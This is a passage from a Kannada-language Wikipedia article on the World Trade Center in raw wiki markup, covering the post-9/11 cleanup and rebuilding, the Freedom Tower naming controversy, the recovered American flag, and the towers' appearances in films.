ಪ್ರತಿ]] {{New World Trade Center}} ಎಂಟು ತಿಂಗಳಕಾಲ ಪುನರ್ನಿರ್ಮಾಣ ಕಾರ್ಯಾಚರಣೆಯು ದಿನದ 24 ಗಂಟೆಗಳ ಕಾಲ ನಿರಂತರವಾಗಿ ಸಾಗಿತು. ಭಗ್ನಾವಶೇಷಗಳನ್ನು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕಟ್ಟಡದ ಸ್ಥಳದಿಂದ ಸ್ಟೇಟನ್ ದ್ವೀಪದ ಫ್ರೆಶ್ ಕಿಲ್ಸ್ಗೆ ಸಾಗಿಸಲಾಯಿತು. {{Nowrap|May 30}} 2002ರಲ್ಲಿ, ಸ್ವಚ್ಛಗೊಳಿಸುವ ಕಾರ್ಯವನ್ನು ಮುಗಿಸಿದ್ದಕ್ಕಾಗಿ ಅಧಿಕೃತವಾಗಿ ಒಂದು ಕರ್ಮಾಚರಣೆಯನ್ನು ಏರ್ಪಡಿಸಲಾಗಿತ್ತು.<ref>{{Cite news |url=http://archives.cnn.com/2002/US/05/30/rec.wtc.cleanup/ |title=Ceremony closes 'Ground Zero' cleanup |date=May 30, 2002 |publisher=CNN |accessdate=September 11, 2008 |archive-date=ಡಿಸೆಂಬರ್ 1, 2008 |archive-url=https://web.archive.org/web/20081201081749/http://archives.cnn.com/2002/US/05/30/rec.wtc.cleanup/ |url-status=dead }}</ref> 2002ರಲ್ಲಿ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಮುಖ್ಯ ಸ್ಥಳದಿಂದ ಉತ್ತರಕ್ಕೆ 7ಡಬ್ಲುಟಿಸಿಯ ನಿರ್ಮಾಣ ಕಾರ್ಯದಲ್ಲಿ ನೆಲವು ಕುಸಿಯಿತು. ಇದು ಮುಖ್ಯ ಯೋಜನೆಯ ಒಂದು ಭಾಗವಾಗಿರಲಿಲ್ಲವಾದ್ದರಿಂದ, ಲ್ಯಾರಿ ಸಿಲ್ವರ್‌ಸ್ಟೇನ್ 7 ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕಟ್ಟಡದ ಪುನರ್ನಿರ್ಮಾಣವನ್ನು ನಿಧಾನಿಸದೆ ಮುಂದುವರೆಸಿದರು, ಇದು ಸಂಪೂರ್ಣಗೊಂಡು ಅಧಿಕೃತವಾಗಿ {{Nowrap|May 2006}}ರಂದು ಪ್ರಾರಂಭವಾಯಿತು; ಲೋವರ್ ಮ್ಯಾನ್‌ಹಾಟನ್‌ನ ಅವಶ್ಯಕ ಯಾಂತ್ರಿಕ ಶಕ್ತಿಯ ಬೇಡಿಕೆಗಳನ್ನು ಪೂರೈಸಲು ಕಟ್ಟಡದ ಕೆಳ ಅಂತಸ್ತುಗಳಲ್ಲಿ ವಿದ್ಯುಚ್ಛಕ್ತಿಯ ಉಪಕೇಂದ್ರಗಳನ್ನು ನಿರ್ಮಿಸುವುದಕ್ಕೆ ಆದ್ಯತೆ ನೀಡಲಾಯಿತು.<ref>{{Cite news|title=Developer's Pace at 7&nbsp;World Trade Center Upsets Some |work=The New York Times |date=January 31, 2002 |author=Bagli, Charles V. |url=http://query.nytimes.com/gst/fullpage.html?res=9C01E4DD1F3AF932A05752C0A9649C8B63 |accessdate=February 17, 2008}}</ref><ref>{{Cite web|url=http://www.lowermanhattan.info/news/7_world_trade_center_50451.aspx |title=7&nbsp;World Trade Center Opens with Musical Fanfare |publisher=Lower Manhattan Development Corporation (LMDC) |date=May 22, 2006 |accessdate=July 27, 2007}}</ref><ref name="ar-June2006">{{Cite news|title=Major Step at Ground Zero: 7&nbsp;World Trade Center Opening |publisher=Architectural Record |date=May 17, 2006 |url=http://www.archrecord.construction.com/news/wtc/archives/060517opening.asp |accessdate=February 17, 2008}}</ref> ಒಂದು ತಾತ್ಕಾಲಿಕ ಪಾತ್ ಕೇಂದ್ರವು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ {{Nowrap|November 2003}}ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಯಿತು; ಇದನ್ನು ನಂತರದಲ್ಲಿ ಸ್ಯಾಟಿಯಗೊ ಕಲಟ್ರವಾ ಅವರು ವಿನ್ಯಾಸಗೊಳಿಸಿದ ಶಾಶ್ವತ ಕೇಂದ್ರದೊಂದಿಗೆ ಬದಲಾಯಿಸಲಾಗುವುದು.<ref>{{Cite web|url=http://www.panynj.gov/drp/pdfdocs/env/feis/VolumeI/07_Urban%20Design.pdf |work=Permanent WTC Path Terminal Final Environmental Impact Statement and Section 4(f) Evaluation |title=Urban Design and Visual Resources (Chapter 7) |format=PDF |publisher=Port Authority of New York and New Jersey |date = May 2005|accessdate=November 19, 2008 |archiveurl = https://web.archive.org/web/20080306041907/http://www.panynj.gov/drp/pdfdocs/env/feis/VolumeI/07_Urban+Design.pdf |archivedate = March 6, 2008}}</ref> ಸಿಲ್ವರ್‌ಸ್ಟೇನ್ ಮತ್ತು ಬಂದರು ಪ್ರಾಧಿಕಾರಗಳು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ನಿರ್ಮಾಣದಲ್ಲಿ ಪ್ರಮುಖ ಪಾತ್ರವಹಿಸಿವೆ, ನ್ಯೂಯಾರ್ಕ್ ರಾಜ್ಯದ ರಾಜ್ಯಪಾಲರಾದ ಜಾರ್ಜ್ ಪಟಕಿಯವರು ಕೂಡಾ ಅಧಿಕಾರವನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಬಲಿಯಾದವರ ಕುಟುಂಬಗಳು, ನೆರೆಹೊರೆಯ ಜನರು, ಮೇಯರ್ ಮೈಕೇಲ್ ಬ್ಲೂಮ್‌ಬರ್ಗ್, ಹಾಗೂ ಇತರರು ಕೂಡಾ ಭಾಗಿಯಾಗಲು ಇಚ್ಛಿಸಿದ್ದರು. ಪುನರ್ನಿರ್ಮಾಣ ಯೋಜನೆಯಲ್ಲಿ ರಾಜ್ಯಪಾಲ ಪಟಕಿಯವರು ಲೋವರ್ ಮ್ಯಾನ್‌ಹಾಟನ್ ಡೆವಲಪ್‌ಮೆಂಟ್ ಕಾರ್ಪೊರೇಷನ್ (ಎಲ್‌ಎಮ್‌ಡಿಸಿ) ಅನ್ನು {{Nowrap|November 2001}}ರಲ್ಲಿ ಅಧಿಕೃತವಾಗಿ ಸ್ಥಾಪಿಸಿದ್ದಾರೆ.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=950DEFD81639F930A35752C1A9679C8B63 |author=Pérez-Peña, Richard |title=State Plans Rebuilding Agency, Perhaps Led by Giuliani |work=The New York Times |date=November 3, 2001 |accessdate=November 19, 2008}}</ref> ಎಲ್‌ಎಮ್‌ಡಿಸಿಯು ಉತ್ತಮ ವಿನ್ಯಾಸಗಳನ್ನು ಆಹ್ವಾನಿಸಿ ಸ್ಪರ್ಧೆಯನ್ನು ಆಯೋಜಿಸಿತ್ತು. ಡೇನಿಯಲ್ ಲಿಬೆಸ್ಕಿಂಡ್ ಅವರ ವಿನ್ಯಾಸ ಮೆಮೊರಿ ಫೌಂಡೇಶನ್ಸ್‌ ಅನ್ನು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಮುಖ್ಯ ವಿನ್ಯಾಸವನ್ನಾಗಿ ಆಯ್ಕೆಮಾಡಲಾಯಿತು.<ref>{{Cite web |url=http://www.renewnyc.com/plan_des_dev/wtc_site/new_design_plans/selected_design.asp |author=Lower Manhattan Development Corporation |title=Selected Design for the WTC Site as of February&nbsp;2003 |accessdate=November 19, 2008 |archive-date=ಅಕ್ಟೋಬರ್ 14, 2008 |archive-url=https://web.archive.org/web/20081014174527/http://www.renewnyc.com/plan_des_dev/wtc_site/new_design_plans/selected_design.asp |url-status=dead }}</ref> ಈ ನಕ್ಷೆಯಲ್ಲಿ {{convert|1776|ft}} ಫ್ರೀಡಂ ಟವರ್ (''ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ'' ಎನ್ನಲಾಗುವ) ಸೇರಿದಂತೆ ಮೆಮೊರಿಯಲ್ ಮತ್ತು ಇತರೆ ಆಫೀಸ್ ಕಟ್ಟಡಗಳ ವಿನ್ಯಾಸ ಕೂಡಾ ಸೇರಿದ್ದವು. ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಮೆಮೊರಿಯಲ್ ಸ್ಪರ್ಧೆಯಲ್ಲಿ ''ರಿಫ್ಲೆಕ್ಟಿಂಗ್ ಆಬ್ಸೆನ್ಸ್'' ಶೀರ್ಷಿಕೆ ಹೊಂದಿದ ಮೈಕೆಲ್ ಅರದ್ ಹಾಗೂ ಪೀಟರ್ ವಾಕರ್ ವಿನ್ಯಾಸವನ್ನು {{Nowrap|January 2004}}ಕ್ಕೆ ಆಯ್ಕೆಮಾಡಲಾಯಿತು.<ref>{{Cite news |url=https://www.nytimes.com/2004/01/15/nyregion/nyregionspecial3/15memorial.htm&pagewanted=all |title=Unveiling of Memorial Reveals a Wealth of New Details |author=Collins, Glenn and David W. Dunlap |work=The New York Times |date=January 15, 2004 |accessdate=November 19, 2008 |archive-date=ಮೇ 11, 2011 |archive-url=https://web.archive.org/web/20110511162627/http://www.nytimes.com/2004/01/15/nyregion/nyregionspecial3/15memorial.htm%26pagewanted%3Dall |url-status=dead }}</ref> ಮಾರ್ಚ್ 13, 2006ರಂದು ಕಾರ್ಮಿಕರು, ಉಳಿದ ಭಗ್ನಾವಶೇಷಗಳನ್ನು ತೆಗೆಯಲು ಹಾಗೂ ಮುಂದಿನ ಕೆಲಸ ಪ್ರಾರಂಭಿಸಲು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕಟ್ಟಡ ಸ್ಥಳಕ್ಕೆ ಆಗಮಿಸಿದರು. ಕುಟುಂಬದ ಸದಸ್ಯರ ವಾದವಿವಾದಗಳು ಹಾಗೂ ಕಳವಳಗಳ ಜೊತೆಗೆ ನ್ಯಾಷನಲ್ ಸೆಪ್ಟೆಂಬರ್&nbsp;11 ಮೆಮೊರಿಯಲ್ & ಮ್ಯೂಸಿಯಂನ ನಿರ್ಮಾಣಕ್ಕೆ ಇದು ಅಧಿಕೃತ ಪ್ರಾರಂಭದ ದಿನಾಂಕವೆಂದು ಗುರುತಿಸಲಾಗಿದೆ.<ref>{{Cite news|url=http://abcnews.go.com/print?id=1719737 |title=Construction on Ground Zero Memorial Ignites Protests |author=Katersky, Aaron |date=March 13, 2006 |publisher=ABC News |accessdate=November 19, 2008}}</ref> {{Nowrap|April 2006}}ಯಲ್ಲಿ, ಬಂದರು ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಲ್ಯಾರಿ ಸಿಲ್ವರ್‌ಸ್ಟೇನ್ ಅವರುಗಳು ಒಂದು ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದರು, ಅದರಲ್ಲಿ ಸಿಲ್ವರ್‌ಸ್ಟೇನ್ ಅವರು ಲಿಬರ್ಟಿ ಬಾಂಡ್ಸ್‌ನ ಹಣಕಾಸು ಸಹಯೋಗದೊಂದಿಗೆ ಫ್ರೀಡಂ ಟವರ್ ಮತ್ತು ಟವರ್ ಫೈವ್ ಅನ್ನು ನಿರ್ಮಿಸುವ ಹೊಣೆ ಹೊತ್ತರು.<ref>{{Cite news|url=https://www.nytimes.com/2006/04/28/nyregion/28rebuild.html |title=Freedom Tower Construction Starts After the Beginning |author=Dunlap, David W. |date=April 28, 2006 |work=The New York Times |accessdate=November 19, 2008}}</ref><ref>{{Cite journal|url=http://www.rpa.org/spotlight/issues/spotlightvol5_06.html |title=At the Heart of Ground Zero Renegotiations, a 1,776-Foot Stumbling Block |author=Todorovich, Petra |journal=Spotlight on the Region |publisher=Regional Plan Association |date=March 24, 2006 |volume=5 |accessdate=November 19, 2008 |archiveurl = https://web.archive.org/web/20080605052142/http://www.rpa.org/spotlight/issues/spotlightvol5_06.html |archivedate = June 5, 2008 | issue=6}}</ref> {{Nowrap|April 27}}, 2006ರಲ್ಲಿ, ಫ್ರೀಡಂ ಟವರ್‌ನಲ್ಲಿ ನೆಲ-ಕುಸಿದ ಕರ್ಮಾಚರಣೆಯನ್ನು ಹಮ್ಮಿಕೊಂಡರು.<ref>{{Cite news|url=http://www.washingtonpost.com/wp-dyn/content/article/2006/04/28/AR2006042800601.html |title=Construction Begins at Ground Zero |author=Westfeldt, Amy |work=Washington Post / AP |date=April 28, 2006 |accessdate=November 19, 2008}}</ref> ಮೇ 2006ರಲ್ಲಿ, ವಾಸ್ತುಶಿಲ್ಪ ತಜ್ಞರಾದ ರಿಚರ್ಡ್ ರೋಜರ್ಸ್ ಮತ್ತು ಫುಮಿಹಿಕೊ ಮಾಕಿ ಅವರನ್ನು ಕ್ರಮವಾಗಿ ಮೂರು ಮತ್ತು ನಾಲ್ಕನೆ ಟವರ್‌ಗಳ ನಿರ್ಮಾಣಕ್ಕಾಗಿ ನಿಯಮಿಸಿದರು.<ref>{{Cite news|url=https://www.nytimes.com/2006/05/03/arts/design/03towe.html |title=Richard Rogers to Design Tower at Ground Zero |author=Pogrebin, Robin |date=May 3, 2006 |work=The New York Times |accessdate=November 19, 2008}}</ref> ಎರಡು, ಮೂರು ಮತ್ತು ನಾಲ್ಕನೇ ಗೋಪುರಗಳ ಅಂತಿಮ ವಿನ್ಯಾಸಗಳನ್ನು {{Nowrap|September 7}} 2006ರಂದು ಬಹಿರಂಗ ಪಡಿಸಲಾಯಿತು. ಎರಡನೆಯ ಟವರ್, ಅಥವಾ200 ಗ್ರೀನ್ವಿಚ್ ಸ್ಟ್ರೀಟ್‌ಗಳು {{convert|1254|ft}}ನಷ್ಟು ಎತ್ತರ ಮತ್ತು {{convert|96|ft}} ಮೂರು ಕಂಬಗಳನ್ನು ಹೊಂದಿರುವ ಶೃಂಗವನ್ನು ಒಟ್ಟು {{convert|1350|ft}} ಹೊಂದಿದೆ. ಮೂರನೆಯ ಟವರ್ ಅಥವಾ 175 ಗ್ರೀನ್ವಿಚ್ ಸ್ಟ್ರೀಟ್ 1,155&nbsp;ಅಡಿ (352&nbsp;ಮೀ) ಎತ್ತರ ಹಾಗೂ ಆಂಟೆನಾವು {{convert|1255|ft}} ತಲುಪುವಂತೆ ಇರುವುದು. ನಾಲ್ಕನೆಯ ಟವರ್ ಅಥವಾ 150&nbsp;ಗ್ರೀನ್ವಿಚ್ ಸ್ಟ್ರೀಟ್ ಒಟ್ಟು {{convert|946|ft}} ಎತ್ತರ ಹೊಂದಿದೆ.<ref>{{Cite news|url=https://www.nytimes.com/2006/09/07/nyregion/08towerscnd.html |title=Designs Unveiled for Freedom Tower’s Neighbors |work=The New York Times |author=Dunlap, David W. |date=September 7, 2006 |accessdate=November 19, 2008}}</ref> {{Nowrap|June 22}}, 2007ರಲ್ಲಿ, ಈಗಿರುವ ಡಚ್ ಬ್ಯಾಂಕ್ ಕಟ್ಟಡದ ಸ್ಥಳದಲ್ಲಿ ನ್ಯೂಯಾರ್ಕ್‌ ಮತ್ತು ನ್ಯೂಜೆರ್ಸಿಯ ಬಂದರು ಪ್ರಾಧಿಕಾರವು ಟವರ್ 5ರಲ್ಲಿ 42 ಅಂತಸ್ತಿನ ಕಟ್ಟಡವನ್ನು ಜೆಪಿ ಮಾರ್ಗನ್ ಚೇಸ್ ನಿರ್ಮಿಸುತ್ತದೆ ಎಂದು ಘೋಷಿಸಿತು<ref>{{Cite news|url=https://www.nytimes.com/2007/06/14/nyregion/14rebuild.html |title=Chase Bank Set to Build Tower by Ground Zero |author=Bagli, Charles V. |date=June 14, 2007 |work=The New York Times |accessdate=November 19, 2008}}</ref>, ಹಾಗೂ ಇದರ ವಾಸ್ತುಶಿಲ್ಪಿಯಾಗಿ ಕೊಹ್ನ್ ಪೆಡರ್ಸನ್ ಫಾಕ್ಸ್ ಆಯ್ಕೆಯಾದರು.<ref>{{Cite news|url=http://archrecord.construction.com/news/daily/archives/070730wtc.asp |title=Kohn Responds to WTC5 Criticisms |publisher=Architectural Record |date=July 30, 2007 |author=Appelbaum, Alec |accessdate=November 19, 2008}}</ref> ===ವಿವಾದ=== {{Main|World Trade Center rebuilding controversy}} 1 ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ನಿರ್ಮಾಣವು ವಿನ್ಯಾಸ ಹಾಗೂ ಹೆಸರು ಬದಲಾವಣೆಗಳ ವಿಷಯವಾಗಿ ವಿವಾದಕ್ಕೊಳಗಾಯಿತು.<ref>{{Cite news|url=http://www.foxnews.com/story/0,2933,511278,00.html|title=Freedom Tower Name Change Slammed as Unpatriotic|date=March 28, 2009 |work=Fox News.com|publisher=Associated Press}}</ref><ref>{{Cite news| url=http://www.cnn.com/2005/US/05/18/wtc.trump/ | work=CNN | title=Trump pushes own Ground Zero plan | date=May 19, 2005}}</ref> ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಮೇಯರ್ ಮೈಕೇಲ್ ಬ್ಲೂಂಬರ್ಗ್ ಅವರು 2003ರಲ್ಲಿ, "ಫ್ರೀಡಂ ಟವರ್ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವಾಗುವುದಿಲ್ಲ, ಇದು ಫ್ರೀಡಂ ಟವರ್ ಆಗಿಯೇ ಉಳಿಯಲಿದೆ" ಎಂದು ಹೇಳಿದರು.<ref>{{cite news |url=http://www.theepochtimes.com/n2/content/view/14660/ |title=Freedom Tower Renaming Draws Criticism |date=last updated April 2, 2009 |first==Charlotte |last=Cuthbertson |publisher=The Epoch Times |accessdate=31 October 2010 |archive-date=ಆಗಸ್ಟ್ 11, 2011 |archive-url=https://web.archive.org/web/20110811040721/http://www.theepochtimes.com/n2/content/view/14660/ |url-status=dead }}</ref> 2005ರಲ್ಲಿ, ಡೊನಾಲ್ಡ್ ಟ್ರಂಪ್ ಅವರು ಫ್ರೀಡಂ ಟವರ್‌ನ ವಿನ್ಯಾಸವನ್ನು ನೋಡಿ "ಭಯಾನಕ ವಿನ್ಯಾಸ" ಎಂದು ವರ್ಣಿಸಿದರು.<ref>{{cite web |url=http://www.msnbc.msn.com/id/7832944/ |title=Trump calls Freedom Tower disgusting and a pile of junk |publisher=msnbc.msn.com |accessdate=31 October 2010 |archive-date=ಜನವರಿ 5, 2012 |archive-url=https://web.archive.org/web/20120105180044/http://www.msnbc.msn.com/id/7832944/ |url-status=dead }}</ref> {{anchor|The WTC American flag}} ==ಡಬ್ಲುಟಿಸಿ ಅಮೇರಿಕಾದ ಬಾವುಟ== 9/11ರ ದಾಳಿಯಲ್ಲಿ 2001ರ ಮುಂಜಾನೆ 5:30ಕ್ಕೆ , ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಪೋಲಿಸ್ ಅಧಿಕಾರಿ ಜೆರಾಲ್ಡ್ ಕೇನ್ ಮತ್ತು ಪತ್ತೆದಾರ ಪೀಟರ್ ಫ್ರಿಶಿಯಾ ಅವರು "ನೆಲ ಅಂತಸ್ತಿ"ಗೆ ತರಲು ತಂಡಗಳಿಗೆ ಸಹಕರಿಸಿದರು. ಅವರು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಮುಂಭಾಗದಲ್ಲಿ ಚರ್ಚ್ ರಸ್ತೆಯಲ್ಲಿ ಹಾರಾಡುತ್ತಿದ್ದ ಅಮೇರಿಕಾದ ದೊಡ್ಡ ಬಾವುಟ ತಲೆಕೆಳಗಾಗಿ ಬಿದ್ದಿರುವುದನ್ನು ಗಮನಿಸಿದರು. ಇವರು ಸೈನಿಕರು ಹಾಗೂ ಅಗ್ನಿಶಾಮಕ ದಳದವರನ್ನು ನಿಯಮಿಸಿ ಏಣಿಯನ್ನು ಸಿದ್ಧ ಪಡಿಸಿದರು ಪತ್ತೆದಾರ ಫ್ರಿಶಿಯಾ ಅವರು ಅವರು ಏಣಿಯನ್ನು ಹತ್ತಿ ಬಾವುಟವನ್ನು ಬಿಡಿಸಿ ಕೆಳಗೆ ತಂದರು. ನಂತರದಲ್ಲಿ ಕೆರಿಕ್ ಅವರು ಬಾವುಟವನ್ನು [[ನಾಸಾ]] ಅಧಿಕಾರಿಗಳಿಗೆ ನೀಡಿದರು ಅದನ್ನು {{Nowrap|December 5}}–17, 2001 ಭಾಗವಾಗಿರುವ ಸ್ಪೇಸ್ ಶಟಲ್ ''ಎಂಡೀವರ್'' (ಎಸ್‌ಟಿಎಸ್-108) ಮೂಲಕ ಅಂತರರಾಷ್ಟ್ರೀಯ ಸ್ಪೇಸ್ ಕೇಂದ್ರದ ಕಾರ್ಯಾಚರಣೆಯಡಿಯಲ್ಲಿ ರಕ್ಷಿಸಲಾಯಿತು. {{Nowrap|June 14}}, 2002ರ ಫ್ಯಾಗ್ ದಿನದಂದು ಅಮೇರಿಕನ್ ಮ್ಯೂಸಿಯಂ ಆಫ್ ನ್ಯಾಚುರಲ್ ಹಿಸ್ಟರಿ ಬಳಿ ರೋಸ್ ಸೆಂಟರ್‌ನಲ್ಲಿ ನಡೆಸಲಾದ ಕರ್ಮಾಚರಣೆಯಲ್ಲಿ ಅಮೇರಿಕಾದ ಬಾವುಟವನ್ನು ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಜನತೆಗೆ ನಾಸಾದ ಕಮ್ಯಾಂಡರ್ ಡೊಮ್ ಗೊರೀ ಮತ್ತು ''ಎಂಡೀವರ್'' ಸದಸ್ಯರಿಂದ ನೀಡಲಾಯಿತು. ಬಾವುಟವನ್ನು ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಕಮಿಷನರ್ ಆಫ್ ರೆಕಾರ್ಡ್ಸ್ ಅವರಿಂದ ಸ್ವೀಕರಿಸಲಾಯಿತು, ಇದು ನೆಲಮಾಳಿಗೆಯಲ್ಲಿ ನಡೆದ 9/11 ಕರ್ಮಾಚರಣೆಯ ಒಂದು ಭಾಗವಾಗಿತ್ತು.<ref>{{Cite web | date = February 18, 2009 | title = The Flag That Went to Heaven - An American Flag’s Journey | url = http://thepillarofstrength.com/?p=140 }} </ref> ==ಜನಪ್ರಿಯ ಸಂಸ್ಕೃತಿಯಲ್ಲಿ== {{Main|World Trade Center in popular culture}} ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು ಸಾಂಪ್ರದಾಯಿಕ ಮಾದರಿಯನ್ನನುಸರಿಸಿದ ರಚನೆಯಾಗಿದ್ದು ಹಲವಾರು ಚಿತ್ರಗಳು, ದೂರದರ್ಶನ ಪ್ರದರ್ಶನಗಳು, ಕಾರ್ಟೂನ್‌ಗಳು, ಕಾಮಿಕ್ ಪುಸ್ತಕಗಳು, ವೀಡಿಯೋ ಗೇಮ್‌ಗಳು ಹಾಗೂ ಸಂಗೀತ ವೀಡಿಯೋಗಳಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಗಿದೆ. ಕಟ್ಟಡ ನಿರ್ಮಾಣವನ್ನು ಪೂರ್ಣಗೊಳ್ಳುವ ಹಂತದಲ್ಲಿದ್ದಾಗ ''ಗಾಡ್‌ಸ್ಪೆಲ್'' ಚಿತ್ರದ ಕೆಲವು ಭಾಗಗಳನ್ನು ಇಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಯಿತು.<ref>{{Cite news|url=http://www.washingtonpost.com/wp-dyn/content/article/2006/09/01/AR2006090100365.html |title=When 'Godspell' Was on Top of the World |work=The Washington Post |date=September 3, 2006 |author=Padget, Jonathan |accessdate=November 22, 2008}}</ref> ರಾಬರ್ಟ್ ರೆಡ್‌ಫೋರ್ಡ್ ಚಲನಚಿತ್ರ ''ದಿ ಹಾಟ್ ರಾಕ್'' ಅನ್ನು 1971ರ ಬೇಸಿಗೆಯಲ್ಲಿ ನಿರ್ಮಾಣ ಸಂಪೂರ್ಣಗೊಳ್ಳದಿರುವ ಗೋಪುರಗುಳ ಸುತ್ತ ಹೆಲಿಕಾಫ್ಟರ್ ಒಂದು ಸುತ್ತುತ್ತಿರುವಂತೆ ಚಿತ್ರೀಕರಿಸಲಾಗಿದೆ, (ಇದರಲ್ಲಿ ಒಂದು ಕಡೆಯಿಂದ ನಿರ್ಮಾಣದ ಒಳಭಾಗವನ್ನು ವೀಕ್ಷಿಸಬಹುದಾಗಿದೆ), 1976ರ ಚಿತ್ರ ''ಕಿಂಗ್ ಕಾಂಗ್‌'' ನಲ್ಲಿ ಮೂಲ ಚಿತ್ರದ ಚಿತ್ರೀಕರಣ ನಡೆದ ಸ್ಥಳ ಎಂಪೈರ್ ಸ್ಟೇಟ್ ಕಟ್ಟಡವನ್ನು ಬಿಟ್ಟು ಕೊನೆಯ ದೃಶ್ಯವನ್ನು ವಿಶ್ವವಾಣಿಜ್ಯ ಕಟ್ಟಡದಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಿಕೊಳ್ಳಲಾಗಿದೆ.<ref>{{Cite news |url=http://www.time.com/time/magazine/article/0,9171,918259,00.html?internalid=ACA |title=The King Leaks |work=Time Magazine |date=August 30, 1976 |accessdate=November 22, 2008 |archive-date=ಆಗಸ್ಟ್ 12, 2010 |archive-url=https://web.archive.org/web/20100812011029/http://www.time.com/time/magazine/article/0,9171,918259,00.html?internalid=ACA |url-status=dead }}</ref> 1983ರ ಚಲನಚಿತ್ರ ''ಟ್ರೇಡಿಂಗ್ ಪ್ಲೇಸಸ್'' ಚಿತ್ರೀಕರಣವು ಡಬ್ಲುಟಿಸಿಯ ಹೊರಭಾಗದಲ್ಲಿ ನಡೆದಿದೆ, ನ್ಯೂಯಾರ್ಕ್ ಬೋರ್ಡ್ ಆಫ್ ಟ್ರೇಡ್ ಅನ್ನು ಡಬ್ಲುಟಿಸಿಯ 4ನೆಯ ಮಹಡಿಯಲ್ಲಿ ನಡೆದಿತ್ತು. ಮೆಕ್‌ಕಾಲಿಸ್ಟರ್ ಲೋವರ್ ಮ್ಯಾನ್‌ಹಾಟನ್‌ಗೆ ಭೇಟಿ ನೀಡಿದಾಗ ''[[Home Alone 2: Lost in New York]]'' ಎರಡೂ ಕಟ್ಟಡಗಳನ್ನು ವೀಕ್ಷಿಸಬಹುದಾಗಿತ್ತು. 1981ರ ಚಲನಚಿತ್ರ ''ಎಸ್ಕೇಪ್ ಫ್ರಂ ನ್ಯೂಯಾರ್ಕ್‌'' ನಲ್ಲಿ (1997ರಲ್ಲಿ ಈಗ ಜೈಲು ಇರುವ ಮ್ಯಾನ್‌ಹಾಟನ್ ಪ್ರದೇಶ), 1 ಡಬ್ಲುಟಿಸಿಯ ಮೇಲೆ ಒಂದು ಗ್ಲೈಡರ್ ಅನ್ನು ಇಳಿಸಲಾಯಿತು. 1998ರ ಚಲನಚಿತ್ರ ''ಆಂಟ್ಝ್‌'' ನ ಕೊನೆಯ ದೃಶ್ಯದಲ್ಲಿ ಗೋಪುರಗಳು ಆಕಾಶದ ಗೆರೆಯಲ್ಲಿ ಕಾಣಿಸಿವೆ. ಈ ಗೋಪುರಗಳನ್ನು 2001ರ ಚಲನಚಿತ್ರ ''ಎ.ಐ. ಆರ್ಟಿಫಿಷಿಯಲ್ ಇಂಟಲಿಜೆನ್ಸ್‌'' ನಲ್ಲಿ ತೋರಿಸಲಾಗಿದೆ, ಭವಿಷ್ಯದ ಇನ್ನೂ 2000 ವರ್ಷಗಳ ನಂತರ ದೃಶ್ಯಗಳನ್ನು ಇದರಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಗಿದೆ; ಚಿತ್ರವು 9/11 ದಾಳಿಯ ಮೂರು ತಿಂಗಳಿಗೆ ಮೊದಲೆ ಬಿಡುಗಡೆಯಾಗಿತ್ತು ಅಲ್ಲದೆ ನಿರ್ದೇಶಕ [[ಸ್ಟೀವನ್ ಸ್ಪೀಲ್ಬರ್ಗ್|ಸ್ಟೀವನ್ ಸ್ಪಿಯಲ್‌ಬರ್ಗ್]] ಅವರು ಡಿವಿಡಿ ಬಿಡುಗಡೆಯನ್ನು ಕೂಡಾ ಮಾಡಿದ್ದರು. ಸೆಪ್ಟೆಂಬರ್ 11ರ ದಾಳಿಯನ್ನು ಹಲವಾರು ಡಾಕ್ಯುಮೆಂಟರಿಗಳು ಹಾಗೂ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ತೋರಿಸಲಾಗಿದೆ, ಅದರಲ್ಲಿ ಪ್ರಮುಖವಾದವೆಂದರೆ 2006ರಲ್ಲಿ ಚಿತ್ರೀಕರಣವಾದ: ಅಲಿವರ್ ಸ್ಟೋನ್‌ನ ''ವರ್ಲ್ಡ್ ಟ್ರೇಡ್ ಸೆಂಟರ್'' ಮತ್ತು ಪೌಲ್ ಗ್ರೀನ್‌ಗ್ರಾಸ್ ಅವರ ''ಯುನೈಟೆಡ್ 93'' .<ref>{{Cite news |url=http://www.New Yorker.com/archive/2006/05/01/060501crci_cinema |title=Last Impressions - "United 93" and "The Death of Mr. Lazarescu" |author=Denby, David |date=May 1, 2006 |work=The New Yorker |accessdate=November 22, 2008 |archive-date=ಆಗಸ್ಟ್ 19, 2016 |archive-url=https://web.archive.org/web/20160819095856/https://new/ |url-status=dead }}</ref><ref>{{Cite news |url=http://www.New Yorker.com/archive/2006/08/21/060821crci_cinema |title=On Duty - World Trade Center |author=Denby, David |date=August 21, 2006 |work=The New Yorker |accessdate=November 22, 2008 |archive-date=ಆಗಸ್ಟ್ 19, 2016 |archive-url=https://web.archive.org/web/20160819095856/https://new/ |url-status=dead }}</ref> 9/11 ದಾಳಿಯ ನಂತರವೇ ಕೆಲವೊಂಡು ಸಿನೆಮಾಗಳಲ್ಲಿ ಈ ಅವಳಿ ಗೋಪುರಗಳನ್ನು ತೋರಿಸಲಾಗಿದೆ; ಅವುಗಳಲ್ಲೊಂದು 